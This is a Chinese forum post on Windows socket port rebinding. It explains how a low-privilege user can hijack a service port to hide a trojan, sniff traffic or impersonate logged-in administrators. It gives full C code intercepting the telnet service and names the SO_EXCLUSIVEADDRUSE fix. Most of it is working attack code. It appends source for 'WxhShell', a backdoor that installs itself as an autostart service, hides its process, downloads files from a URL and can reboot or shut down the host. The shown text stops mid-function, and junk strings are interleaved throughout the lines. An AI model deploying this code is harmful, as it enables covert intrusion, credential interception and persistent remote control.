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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RR |Z,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f0S$p R  
jI[Y< (F ;  
  saddr.sin_family = AF_INET; =*>ri  
) G a5c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gw O]U=Y  
+~Wg@   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); clyZD`*  
_<}oBh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n.F^9j+V  
fAYp\ k  
  这意味着什么?意味着可以进行如下的攻击: crTRfqF  
}xJ ).D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )&Af[m S  
=jz [}5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )jm!bR`  
N.(wR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b v5BV  
4z6kFQgu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2K wr=t  
@` 5P^H7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *QH~ z2:[  
pV[SY6/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _D.4=2@|l8  
dT?mMTKn+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "!,)Pv  
Tg/?v3M88  
  #include  r"YOA@  
  #include \ ]v>#VXr_  
  #include xe`SnJgA  
  #include    e>J.r("f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @KJ~M3d0l  
  int main() "d"6.ND  
  { cb82k[L6  
  WORD wVersionRequested; 46 [k9T  
  DWORD ret; JIL(\d  
  WSADATA wsaData; q!f'?yFYK  
  BOOL val; 'nJ,mZx  
  SOCKADDR_IN saddr; a1#",%{I  
  SOCKADDR_IN scaddr; wjy<{I  
  int err; ]Ub"NLYV  
  SOCKET s; 0H!J  
  SOCKET sc; -RI&uFqOI  
  int caddsize; ,)?!p_*@:  
  HANDLE mt; 4m1@lnjp  
  DWORD tid;   Tji*\<?  
  wVersionRequested = MAKEWORD( 2, 2 ); 'u}OeS"f  
  err = WSAStartup( wVersionRequested, &wsaData ); ?LSwJ @#  
  if ( err != 0 ) { jEMnre3/  
  printf("error!WSAStartup failed!\n"); i4Da'Uk  
  return -1; Fa0Fl}L  
  } uxx(WS  
  saddr.sin_family = AF_INET; Xx,Rah)X3  
   s+0n0C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T|k_$LH  
Kt3T~k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {Ri6975  
  saddr.sin_port = htons(23); {c}n."`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H"NBjVRU%  
  { xcE2hK/+  
  printf("error!socket failed!\n"); M.qE$  
  return -1; ?+_Y!*J2b  
  } #b,! N  
  val = TRUE; 'IQ;; [Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N1fPutl$a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \%}w7J;  
  { VPvQ]}g6k  
  printf("error!setsockopt failed!\n"); 0JE*|CtK  
  return -1; .k!<Oqa  
  } U{ 52bH<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AB+HyZ*//  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0d/ f4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?Gx-q+H  
U+G8Hs/y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %6Y\4Fe  
  { M#}k@ ;L3  
  ret=GetLastError(); "N3!!3  
  printf("error!bind failed!\n"); TUN6`/"  
  return -1; O[+\` 63F=  
  } R+# g_"1@p  
  listen(s,2); +!/pzoWpE  
  while(1) wd*V,ZN7  
  { JD)wxoeg  
  caddsize = sizeof(scaddr); e'X"uH Xt.  
  //接受连接请求 Z6fR2A~Q[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K!a7Hg  
  if(sc!=INVALID_SOCKET) {W'{A  
  { O:j=L{,d^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q|_Cj]{  
  if(mt==NULL) ;>CM1  
  { m`&6[[)6~  
  printf("Thread Creat Failed!\n"); RveEA/&&  
  break; Zx&=K"  
  } $C t(M)  
  } U!b~vrr^  
  CloseHandle(mt); KBI36=UV  
  } 0`4Fa^o]h  
  closesocket(s); =zW`+++3  
  WSACleanup(); Wgm{ ]9Q  
  return 0; wvI}|c  
  }   %Vb~}sT:  
  DWORD WINAPI ClientThread(LPVOID lpParam) zP>=K  
  { R[W'LRh~:1  
  SOCKET ss = (SOCKET)lpParam; !-Uq#Ea0/  
  SOCKET sc; H2{&da@D5  
  unsigned char buf[4096]; _b! TmS#F1  
  SOCKADDR_IN saddr; LIRL`xU7  
  long num; | MXRNA~  
  DWORD val; UYH&x:WEd  
  DWORD ret; wV q4DE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y z],["*Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %GigRA@no  
  saddr.sin_family = AF_INET; $r1{N h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2OwO|n  
  saddr.sin_port = htons(23); ow9Vj$m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0Wb3M"#9<  
  { YK V"bI  
  printf("error!socket failed!\n"); (m() r0:@  
  return -1; >mMmc!u>G  
  } V 9;O1  
  val = 100; ;F:Qz^=.a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ejpSbVJ  
  { <3 I0$?xL  
  ret = GetLastError(); ~}Z'/ zCZf  
  return -1; /Z2 g >  
  } snVeOe#'S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oz'^.+uvE  
  { -+n? Q;  
  ret = GetLastError(); 7#sb },J{  
  return -1; Uc0Sb  
  } ]GiDfYs7%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l8 XY  
  { CTZ#QiNP  
  printf("error!socket connect failed!\n");  s x)x7  
  closesocket(sc); tC&jzN"  
  closesocket(ss); |DUOyQ  
  return -1; Es&'c1$^s  
  }  WYW@%t  
  while(1) 9R N ge;*  
  { 4EFP*7X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;'oi7b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 84c[Z   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oN[# C>#(  
  num = recv(ss,buf,4096,0); y*j8OA.S  
  if(num>0) 78O5$?b;#  
  send(sc,buf,num,0); ;f[@zo><r  
  else if(num==0) H8$";T(I  
  break; T2}ccnDi  
  num = recv(sc,buf,4096,0); -hKtd3WbT  
  if(num>0) ,QHn} 3fW  
  send(ss,buf,num,0); M7 gM#bv>L  
  else if(num==0) wb6$R};?  
  break; e:(~=9}Li  
  } &\Yd)#B/  
  closesocket(ss); 8Og)(BC  
  closesocket(sc); PF] Vt  
  return 0 ; EK}QjY[i  
  } nEh^{6  
baib_-$  
Iq(;?_  
==========================================================  o[>p  
"yPKdwP  
下边附上一个代码,,WXhSHELL du^r EMb%  
0zqTX< A  
========================================================== Cz#3W8jV  
B=hJ*;:p  
#include "stdafx.h" !gG\jC~n  
0u8(*?  
#include <stdio.h> 5U.,iQ(d  
#include <string.h> 6N'HXL UlQ  
#include <windows.h> }9>X M  
#include <winsock2.h> &>z}u&oF  
#include <winsvc.h> * TR ~>|  
#include <urlmon.h> 6WEu(}=  
kA(q-Re$B*  
#pragma comment (lib, "Ws2_32.lib") AK5$>Pkvk  
#pragma comment (lib, "urlmon.lib") u^uo=/  
9Jp "E5Ql)  
#define MAX_USER   100 // 最大客户端连接数 d5tp w$A  
#define BUF_SOCK   200 // sock buffer p&(~c/0  
#define KEY_BUFF   255 // 输入 buffer ?p!+s96  
KDy:A>_ G"  
#define REBOOT     0   // 重启 'W|@d8}h  
#define SHUTDOWN   1   // 关机 fSzX /r  
21G:!t4/?n  
#define DEF_PORT   5000 // 监听端口 Y\ G^W8  
:@q9ll`6u  
#define REG_LEN     16   // 注册表键长度 dIDs~  
#define SVC_LEN     80   // NT服务名长度 T(6B,  
Yq%D/dU8  
// 从dll定义API t+B L O<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -g)*v<Fb5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IP+1 :M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1@A*Jj[R%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4r>buEU  
?u8 vK<2h  
// wxhshell配置信息 m&Lc."  
struct WSCFG {  kn|z  
  int ws_port;         // 监听端口 c}g:vh  
  char ws_passstr[REG_LEN]; // 口令 X5eTj  
  int ws_autoins;       // 安装标记, 1=yes 0=no xn)r6  
  char ws_regname[REG_LEN]; // 注册表键名 &_y+hV{  
  char ws_svcname[REG_LEN]; // 服务名 QTjOLK$e$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Eb=;D1)y]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  \ l8$1p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d<l-Ldle  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,JmA e6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \|9KOulr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zx}.mt#}8  
[/I1%6;  
}; vH^^QI:em  
me`( J y<  
// default Wxhshell configuration $[P>nRhW  
struct WSCFG wscfg={DEF_PORT, JTg0T+  
    "xuhuanlingzhe", mLn =SU{#  
    1, q7% eLJ  
    "Wxhshell", P=9Zm  
    "Wxhshell", ^NTOZ0x~#  
            "WxhShell Service", B.J4}Ua  
    "Wrsky Windows CmdShell Service", >}ozEX6c2  
    "Please Input Your Password: ", :}18G}B  
  1, U%na^Wu  
  "http://www.wrsky.com/wxhshell.exe", [ {B1~D-  
  "Wxhshell.exe" q3E_.{t  
    }; kVZ5>D$  
ywV8s|o  
// 消息定义模块 WtTwY8HC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P'6(HT>F?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q>q@ztt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6\9 9WQ  
char *msg_ws_ext="\n\rExit."; d/OIc){tD  
char *msg_ws_end="\n\rQuit."; ')w*c  
char *msg_ws_boot="\n\rReboot..."; Y">;2Pt;  
char *msg_ws_poff="\n\rShutdown..."; *ad"3>  
char *msg_ws_down="\n\rSave to "; \$h LhYz-  
t9()?6H\  
char *msg_ws_err="\n\rErr!"; Xsc5@O!  
char *msg_ws_ok="\n\rOK!"; HSOdqjR*  
[\&Mo]"0  
char ExeFile[MAX_PATH]; 0|:Ic,  
int nUser = 0; a;`-LOO5&  
HANDLE handles[MAX_USER]; (UV+/[,  
int OsIsNt; uOrvmb  
5!*5mtI  
SERVICE_STATUS       serviceStatus; z,oqYU\:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?%h JZm;  
g~@0p7]Y  
// 函数声明 :*!u\lV\  
int Install(void); Y2Y2>^  
int Uninstall(void); f.=4p^  
int DownloadFile(char *sURL, SOCKET wsh); pstQithS  
int Boot(int flag); w%k)J{\  
void HideProc(void); ^q,KR ut  
int GetOsVer(void); $0Y&r]'  
int Wxhshell(SOCKET wsl); 0PnW|N0  
void TalkWithClient(void *cs); OI.2CF  
int CmdShell(SOCKET sock); 3HA$k[%7P  
int StartFromService(void); Xze   
int StartWxhshell(LPSTR lpCmdLine); s%z'1KPS  
bkl'0 p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )8yee~+TN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L&'0d$Tg8  
VmkYl$WZo  
// 数据结构和表定义 v) q6  
SERVICE_TABLE_ENTRY DispatchTable[] = WU1o4&OF  
{ 8Db~OYVJG  
{wscfg.ws_svcname, NTServiceMain}, bhSpSul  
{NULL, NULL} < P5;8  
}; q9oF8&O,  
Co19^g*  
// 自我安装 =D4EPfQn1  
int Install(void) LZG^\c$  
{ H9w*U  
  char svExeFile[MAX_PATH]; g}3c r .  
  HKEY key; *ma/_rjK  
  strcpy(svExeFile,ExeFile); Em@h5V  
K. R2)o`  
// 如果是win9x系统,修改注册表设为自启动 }FMl4 _}u  
if(!OsIsNt) { [JVI@1T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,/W< E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tb0XXE E  
  RegCloseKey(key); ]+ ':=&+:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { );z}T0C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9MLvHrB;  
  RegCloseKey(key); ;?2vW8{p<  
  return 0; AEnS_Q  
    } }]zmp/;a  
  } GGF;T&DWad  
} ^;s`[f|w  
else { {7eKv+30  
H]=3^g64  
// 如果是NT以上系统,安装为系统服务 `CK;,>i   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X{#@ :z$  
if (schSCManager!=0) 4'54  
{ n/@/yJ<EFi  
  SC_HANDLE schService = CreateService i? AZ|Ha[  
  ( 9$Mi/eLG2N  
  schSCManager, dY\"'LtF  
  wscfg.ws_svcname, &F'v_9  
  wscfg.ws_svcdisp, =b%J@}m`&  
  SERVICE_ALL_ACCESS, B0z.s+.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yK?~X V:  
  SERVICE_AUTO_START, TKLy38  
  SERVICE_ERROR_NORMAL, Op)0D:BmR  
  svExeFile, u."fJ2}l0X  
  NULL, R~ w(]  
  NULL, [l#WS  
  NULL, aG}9Z8D  
  NULL, Pz|qy,  
  NULL ;6b#I$-J-  
  ); @gi Y  
  if (schService!=0) a LmVOL{  
  { ? 3}UO:B  
  CloseServiceHandle(schService); c(#`z!FB  
  CloseServiceHandle(schSCManager); <YeF?$S}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :GK{ JP  
  strcat(svExeFile,wscfg.ws_svcname); j 5'Jp}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fr#lH3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `8dE8:# Y  
  RegCloseKey(key); Xp} vJl   
  return 0; ri JyH;)  
    } k)v[/#I  
  } b=|&0B$E  
  CloseServiceHandle(schSCManager); |}M']Vz  
} jm-0]ugY&`  
} (uG4W|?p  
D8?$Fn=  
return 1; BRD'5 1]|  
} @>9p2u)=  
TLSy+x_gX  
// 自我卸载 B?0{=u  
int Uninstall(void) u\e#_*>  
{ j^%i?BWw  
  HKEY key; 9)l_(*F  
y9*H  
if(!OsIsNt) { !7xp<=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6Q=Zo@  
  RegDeleteValue(key,wscfg.ws_regname); |Lhz^5/  
  RegCloseKey(key); _yWH\5@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y$ChMf  
  RegDeleteValue(key,wscfg.ws_regname); R NA03  
  RegCloseKey(key); Q?a"uei[  
  return 0; 3,vH:L4  
  } =` i 7?  
} 'o7PIhD"  
} phc1AN=[E  
else { /hX"O ?^  
@&Nvb.5nT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vw{Ys6q  
if (schSCManager!=0) %C3cdy_c  
{ xapkhIW2\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m|]^f;7z  
  if (schService!=0) D+SpSO7yg  
  {  Nr[Rp  
  if(DeleteService(schService)!=0) { I }/Oi]jA6  
  CloseServiceHandle(schService); li%-9Jd  
  CloseServiceHandle(schSCManager); &16bZw  
  return 0; M)J*Df0@  
  } ^X&9"x)4  
  CloseServiceHandle(schService); "qj[[L Q  
  } lTB!yF.r|  
  CloseServiceHandle(schSCManager); wFJK!9KA8  
} pt4xUu{  
} poeXi\e!(  
,oG"wgf  
return 1; zJnVO$A'  
} }=|ZEhtOp  
-1_Z*?=-  
// 从指定url下载文件 {cv;S2  
int DownloadFile(char *sURL, SOCKET wsh) _#gsR"FZ$  
{ bY2Mw8e%  
  HRESULT hr; lXPn]iLJ  
char seps[]= "/"; 4 P;O8KA5y  
char *token; b {I`$E<[  
char *file; ?:FotnU*p  
char myURL[MAX_PATH]; Hxl,U>za#  
char myFILE[MAX_PATH]; o(``7A@7a  
RE.@ +A  
strcpy(myURL,sURL); AfEEYP)N  
  token=strtok(myURL,seps); +z D'r5  
  while(token!=NULL) {6n \532@  
  { A$F;fCV*  
    file=token; ^97ZH)Ww  
  token=strtok(NULL,seps); \Zv =?\  
  } dI !/:x  
v$i%>tQ\  
GetCurrentDirectory(MAX_PATH,myFILE); _Y|kX2l S@  
strcat(myFILE, "\\"); cik@QN<[0  
strcat(myFILE, file); V[I<9xaE  
  send(wsh,myFILE,strlen(myFILE),0); -$)Et|  
send(wsh,"...",3,0); A C^[3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pHvE`s"Ea  
  if(hr==S_OK) 68c;Vb  
return 0; yy } 0_  
else |d5L Ifb(  
return 1; 2`I;f/S d  
1!`768  
} /a(zLHyz)  
e\_6/j7'  
// 系统电源模块 BP[U` !  
int Boot(int flag) .V3Dql@z"  
{ l1)pr{A  
  HANDLE hToken; n`}&, UA$4  
  TOKEN_PRIVILEGES tkp; N 9&@,3  
:b ;1P@W<  
  if(OsIsNt) { CCY|FK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k@aP&Z~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]'h)7  
    tkp.PrivilegeCount = 1; #5C3S3e=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O|RO j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DjIswI1I  
if(flag==REBOOT) { #(IMRdUf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7h]R{_  
  return 0; Qg>GW  
} erP>P  
else {  y:OywIi(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W{+0iAYnp  
  return 0; Ql@yN@V  
} % 9/)  
  } {@ y,  
  else { ^R7zLHU;  
if(flag==REBOOT) { H27Oq8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j$|C/E5?  
  return 0; r65NKiQD  
} 3Gl]g/  
else { otSPi7|k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C55n  
  return 0; dO4#BDn"=  
} ]0i2 ]=J&,  
} pmyM&'#Id  
Au._n,<  
return 1; +@u C:3jM  
} 'B5J.Xe:  
&&nO]p`  
// win9x进程隐藏模块 p\_qHq\;j  
void HideProc(void) GLQvAHC  
{ ]GtR8w@w  
6J-}&U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r)5\3j[P  
  if ( hKernel != NULL ) A]?O& m |  
  { c;rp@_ULG?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U\8#Qvghf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q7 oR9  
    FreeLibrary(hKernel); [E~,>Q  
  } EjX'&"3.  
x0A %kp&w  
return; cNr][AzU@  
} <Ihed |  
mjl!Nth:<  
// 获取操作系统版本 n{Qh8"  
int GetOsVer(void) m=iov 2K>  
{ P>T*:!s;  
  OSVERSIONINFO winfo; 06@0r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y]YS2^  
  GetVersionEx(&winfo); wt.{Fqm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M}oj!xGB  
  return 1; lMzCDx !m  
  else N"x\YHp  
  return 0; ms\/=96F  
} ar qLp|  
#or oY.o  
// 客户端句柄模块 !bV(VRbu  
int Wxhshell(SOCKET wsl) #8f"}>U9.,  
{ 7x7r!rSe,  
  SOCKET wsh; txfwLqx  
  struct sockaddr_in client; Pv-V7`{  
  DWORD myID; lzy$.H"W  
mERZ_[a2  
  while(nUser<MAX_USER) _ K+V?-=  
{ 0HJqsSZ$mW  
  int nSize=sizeof(client); Go+xL/f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UE,~_hp  
  if(wsh==INVALID_SOCKET) return 1; ~R?dDL  
9Oo*8wvGG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Jbc'V'fm  
if(handles[nUser]==0) k *;{n8o?)  
  closesocket(wsh); /IJ9_To  
else 88np/jvC{  
  nUser++; )47j8jL  
  } =7]Q6h@X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ilRm}lU|x  
%QsSR'`  
  return 0; .xz,pn}  
} X\^& nLa  
svq9@!go  
// 关闭 socket t2 -nCRXEP  
void CloseIt(SOCKET wsh) k`7.p,;}U  
{ zUEfa!#?  
closesocket(wsh); 4=F]`Lql  
nUser--;  `\|3 ~_v  
ExitThread(0); KB,~u*~!  
} @Uj _+c q  
t1:S!@  
// 客户端请求句柄 8/>wgY  
void TalkWithClient(void *cs) 3^A/`8R7K  
{ ,F?~'-K  
28Ssb|  
  SOCKET wsh=(SOCKET)cs; b?2X>QJ  
  char pwd[SVC_LEN]; {c\oOM<7  
  char cmd[KEY_BUFF]; ]~ #+ b>  
char chr[1]; `^&15?Wk  
int i,j; emkMR{MY  
bDZKQ&  
  while (nUser < MAX_USER) { D=82$$  
-0KbdHIKb'  
if(wscfg.ws_passstr) { [zh4W*K_cq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "\zj][sL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Xk03\n6  
  //ZeroMemory(pwd,KEY_BUFF); L VU)W^  
      i=0; 1IF'>*  
  while(i<SVC_LEN) { CDnR  
6N %L8Q  
  // 设置超时 SZK)q   
  fd_set FdRead; zhA',p@K?_  
  struct timeval TimeOut; ^iV`g?z  
  FD_ZERO(&FdRead); d#vS E.&  
  FD_SET(wsh,&FdRead); 94h_t@Q/1  
  TimeOut.tv_sec=8; 0x]OF8=J  
  TimeOut.tv_usec=0; |`k1zc)9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RvPniT(<?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PV]k3&y  
w `. T/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X#p o|,Q  
  pwd=chr[0]; G>[ NZE  
  if(chr[0]==0xd || chr[0]==0xa) { qr'x0r|<>  
  pwd=0; ! =\DC,-CB  
  break; s#+"5&!s  
  } hs{&G^!jo  
  i++; <wUD  
    } (?!(0Ywbg  
q lz9&w  
  // 如果是非法用户,关闭 socket /jjW/ lr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ere?d~8  
} o8};e  
<uBhi4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Cg}!38  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +#-kIaU  
^&`sWO@=  
while(1) { Mz/]DJ8  
[V> :`?  
  ZeroMemory(cmd,KEY_BUFF); )p/=u@8_f  
3WO#^}t  
      // 自动支持客户端 telnet标准   B@"SOX  
  j=0; kW<Yda<a  
  while(j<KEY_BUFF) { pBg|n=^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b"R, p=M  
  cmd[j]=chr[0]; 5#TrCPi6A  
  if(chr[0]==0xa || chr[0]==0xd) { ,c,Xd  
  cmd[j]=0; RV0>-@/x  
  break; z)58\rtz  
  } ,Lt~u_lve  
  j++; .g/ARwM}  
    } []A"]p  
{[M0y*^64$  
  // 下载文件 o~OwE7H)A  
  if(strstr(cmd,"http://")) { z`emKFbv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >%uAQiU  
  if(DownloadFile(cmd,wsh)) `2B*CMW{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4m^ ~e  
  else 1a($8>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D EUd[  
  } `G=ztL!gq  
  else { H4PbO/{xO  
toS(UM n  
    switch(cmd[0]) { ;Pol#0_(  
  E3 ~,+68U  
  // 帮助 rxs~y{ Xi  
  case '?': { Z&+NmOY4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /v}P)&  
    break; zuC58B  
  } e-[>( n/[  
  // 安装 HG{&U:>)  
  case 'i': { ~w Zl2I  
    if(Install()) EX`"z(L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`*1*;Q<H|  
    else d] b~)!VW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I! h(`  
    break; '}U_D:o.b  
    } Zdv.PGn  
  // 卸载 xoqiRtlY:  
  case 'r': { p{iG{  
    if(Uninstall()) @k=cN>ZMc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[{:  
    else d&}pgb-Md  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =y)p>3p}&  
    break; F^ I\X  
    } 1%$d D2  
  // 显示 wxhshell 所在路径 &Q\_;  
  case 'p': { ! (2-(LgA  
    char svExeFile[MAX_PATH]; 89LpklD  
    strcpy(svExeFile,"\n\r"); ]]el|  
      strcat(svExeFile,ExeFile); E S#rs="  
        send(wsh,svExeFile,strlen(svExeFile),0); i0k+l  
    break; hnp`s%e,  
    } XXa(305  
  // 重启 !UBy%DN~k  
  case 'b': { |HrM_h<X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IZv~[vi_  
    if(Boot(REBOOT)) OJv}kwV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u~" siH  
    else { UppBnw  
    closesocket(wsh); :z B}z^8-  
    ExitThread(0);  Sa%zre@  
    } kP)YgkE  
    break; FhWmO  
    } @@'nit  
  // 关机 uWUR3n  
  case 'd': { 3LKB;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M,crz  
    if(Boot(SHUTDOWN)) ao)Ck3]  
